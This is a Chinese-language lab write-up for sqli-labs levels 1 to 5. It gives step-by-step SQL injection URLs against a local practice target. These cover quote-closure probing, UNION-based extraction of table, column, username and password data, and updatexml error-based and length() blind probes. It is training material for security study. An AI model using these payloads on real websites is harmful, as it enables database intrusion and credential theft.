Featured image of post 【靶场】sql-labs-Less1-5

【靶场】sql-labs-Less1-5

文章共2449字

Less-1

验证注入点:单引号报错,两个单引号闭合利用闭合方式:' <payload> --+
1.进入第一题,显示Please input the ID as parameter with numeric value,告诉了我们参数为id
Pasted image 20250313160458
2.构造?id=1,页面显示正常

1
http://localhost/sqli-labs/Less-1/?id=1

Pasted image 20250313160541
3.接下来加个单引号,显示语句出错,根据报错信息可以得知参数id的值被单引号包裹

1
http://localhost/sqli-labs/Less-1/?id=1'

Pasted image 20250313160614
4.构造?id=1' and '1'='1页面重新显示正常,由此判断出这题是单引号字符型注入

1
http://localhost/sqli-labs/Less-1/?id=1' and '1'='1

Pasted image 20250313160735
5.构造?id=1' order by 1 --+通过order by子句来判断该数据表的字段数,页面显示正常。

1
http://localhost/sqli-labs/Less-1/?id=1' order by 1 --+

Pasted image 20250313160914
构造?id=1' order by 4 --+页面显示错误信息,由此可知该表字段数为3

1
http://localhost/sqli-labs/Less-1/?id=1' order by 4 --+

Pasted image 20250313161001
6.构造?id=-1' union select 1,2,3 --+判断出回显点为该表的第二、三字段

1
http://localhost/sqli-labs/Less-1/?id=-1' union select 1,2,3 --+

Pasted image 20250313161256
7.构造?id=-1' union select 1,2,database() --+知道了数据库名为security

1
http://localhost/sqli-labs/Less-1/?id=-1' union select 1,2,database() --+

Pasted image 20250313161350
8.构造

1
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

在数据库information_schema中的tables表里查询出security数据库的表有:emails,referers,uagents,users
Pasted image 20250313161444
9.构造

1
http://localhost/sqli-labs/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

在数据库information_schema中的columns里查找出数据库security中的users表的全部字段
Pasted image 20250313161527
10.构造

1
?id=-1' union select 1,group_concat(username),group_concat(password) from users --+

爆出所有的用户名和密码
Pasted image 20250313161635

Less-2

验证注入点:单引号报错,不用闭合可执行 SQL语句利用闭合方式:<payload>
与第一关基本一样,就 id 不用闭合
1.进入第二题,显示Please input the ID as parameter with numeric value,告诉了我们参数为id
Pasted image 20250313161818
2.构造?id=1,页面显示正常

1
http://localhost/sqli-labs/Less-2/?id=1

Pasted image 20250313161840
3.接下来加个单引号,显示语句出错,根据报错信息可以得知是单引号影响了SQL语句的闭合,由此判断出这题是数字型注入

1
http://localhost/sqli-labs/Less-2/?id=1'

Pasted image 20250313161910
4.构造?id=1 order by 3 --+通过order by子句来判断该数据表的字段数

1
http://localhost/sqli-labs/Less-2/?id=1 order by 3 --+

![[Pasted image 20250313162025.png]]
构造?id=1 order by 4 --+页面报错,由此可知该表字段数为3

1
http://localhost/sqli-labs/Less-2/?id=1 order by 4 --+

![[Pasted image 20250313162128.png]]
5.构造?id=-1 union select 1,2,3 --+判断出回显点为该表的第二、三字段

1
http://localhost/sqli-labs/Less-2/?id=1 union select 1,2,3 --+

Pasted image 20250313162206
6.构造?id=-1 union select 1,2,database() --+知道了数据库名为security

1
http://localhost/sqli-labs/Less-2/?id=-1 union select 1,2,database() --+

Pasted image 20250313162325
7.构造

1
http://localhost/sqli-labs/Less-2/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

在数据库information_schema中的tables表里查询出security数据库的表有:emails,referers,uagents,users
Pasted image 20250313162432
8.构造

1
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

在数据库information_schema中的columns里查找出数据库security中的users表的全部字段
Pasted image 20250313162527
9.构造

1
?id=-1 union select 1,group_concat(username),group_concat(password) from users --+

爆出所有的用户名和密码
Pasted image 20250313162629

Less-3

验证注入点:单引号报错,两个单引号闭合利用闭合方式:') <payload> --+
也是闭合符号不一样
1.进入第三题,显示Please input the ID as parameter with numeric value,告诉了我们参数为id
Pasted image 20250313162714
2.构造?id=1,页面显示正常。

1
http://localhost/sqli-labs/Less-3/?id=1

![[Pasted image 20250313163018.png]]
3.接下来加个单引号,显示语句出错,根据报错信息可以得知参数id的值被单引号和括号包裹

1
http://localhost/sqli-labs/Less-3/?id=1'

Pasted image 20250313163104
4.构造?id=1') order by 3 --+通过order by子句来判断该数据表的字段数

1
http://localhost/sqli-labs/Less-3/?id=1') order by 3 --+

![[Pasted image 20250313163156.png]]
构造?id=1') order by 4 --+页面报错,由此可知该表字段数为3
Pasted image 20250313163217
5.构造?id=-1') union select 1,2,3 --+判断出回显点为该表的第二、三字段

1
http://localhost/sqli-labs/Less-3/?id=1') union select 1,2,3 --+

![[Pasted image 20250313163335.png]]
6.构造?id=-1') union select 1,2,database() --+知道了数据库名为security

1
http://localhost/sqli-labs/Less-3/?id=-1') union select 1,2,database() --+

Pasted image 20250313163513
7.构造

1
http://localhost/sqli-labs/Less-3/?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

在数据库information_schema中的tables表里查询出security数据库的表有:emails,referers,uagents,users
Pasted image 20250313163605
8.构造

1
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

在数据库information_schema中的columns里查找出数据库security中的users表的全部字段
![[Pasted image 20250313165309.png]]
9.构造

1
?id=-1') union select 1,group_concat(username),group_concat(password) from users --+

爆出所有的用户名和密码
Pasted image 20250313165344

Less-4

验证注入点:双引号报错,两个双引号闭合利用闭合方式:") <payload> --+
也是闭合符号不一样
1.进入第四题,显示Please input the ID as parameter with numeric value,告诉了我们参数为id
Pasted image 20250313165443
2.构造?id=1,页面显示正常
Pasted image 20250313165519
3.接下来加个双引号,显示语句出错,根据报错信息可以得知参数id的值被双引号和括号包裹
Pasted image 20250313165632
4.构造?id=1") order by 3 --+通过order by子句来判断该数据表的字段数,页面显示正常
构造?id=1") order by 4 --+页面报错,由此可知该表字段数为3

1
http://localhost/sqli-labs/Less-4/?id=1") order by 3 --+

Pasted image 20250313165810
5.构造?id=-1") union select 1,2,3 --+判断出回显点为该表的第二、三字段
Pasted image 20250313165912
6.构造?id=-1") union select 1,2,database() --+知道了数据库名为security

1
http://localhost/sqli-labs/Less-4/?id=-1") union select 1,2,database() --+

![[Pasted image 20250313170055.png]]
7.构造

1
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

在数据库information_schema中的tables表里查询出security数据库的表有:emails,referers,uagents,users
Pasted image 20250313170137
8.构造

1
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

在数据库information_schema中的columns里查找出数据库security中的users表的全部字段
Pasted image 20250313170217
9.构造

1
?id=-1") union select 1,group_concat(username),group_concat(password) from users --+

爆出所有的用户名和密码
Pasted image 20250313170255

Less-5

验证注入点:单引号报错,两个单引号闭合利用闭合方式:' <payload> --+
考察点:报错注入

1.进入第五题,显示Please input the ID as parameter with numeric value,告诉了我们参数为id
Pasted image 20250313170335
2.构造?id=1,页面显示You are in...........,不再像前4题显示namepasswd

1
http://localhost/sqli-labs/Less-5/?id=1

Pasted image 20250313170403
3.接下来加个单引号,显示语句出错,根据报错信息可以得知参数id的值被单引号包裹

1
http://localhost/sqli-labs/Less-5/?id=1'

Pasted image 20250313170450
4.构造?id=1‘ order by 1 --+通过order by子句来判断该数据表的字段数,页面显示正常

1
http://localhost/sqli-labs/Less-5/?id=1' order by 1 --+

Pasted image 20250313170613
构造?id=1' order by 3 --+页面显示正常
构造?id=1' order by 4 --+页面报错,由此可知该表字段数为3

1
http://localhost/sqli-labs/Less-5/?id=1' order by 3 --+

Pasted image 20250313170613
5.构造?id=-1' union select 1,2,3 --+判断回显点,结果发现行不通

1
http://localhost/sqli-labs/Less-5/?id=1' union select 1,2,3 --+

Pasted image 20250313170713
6.构造?id=1' and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1) --+发现可以进行盲注

1
http://localhost/sqli-labs/Less-5/?id=1' and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1) --+

Pasted image 20250313171431
7.也可以使用length()来判断数据库名的长度

1
http://192.168.58.128/sqli-labs/Less-5/?id=1'and length((select database()))>7 --+

Pasted image 20250313194135

站点已运行计算中...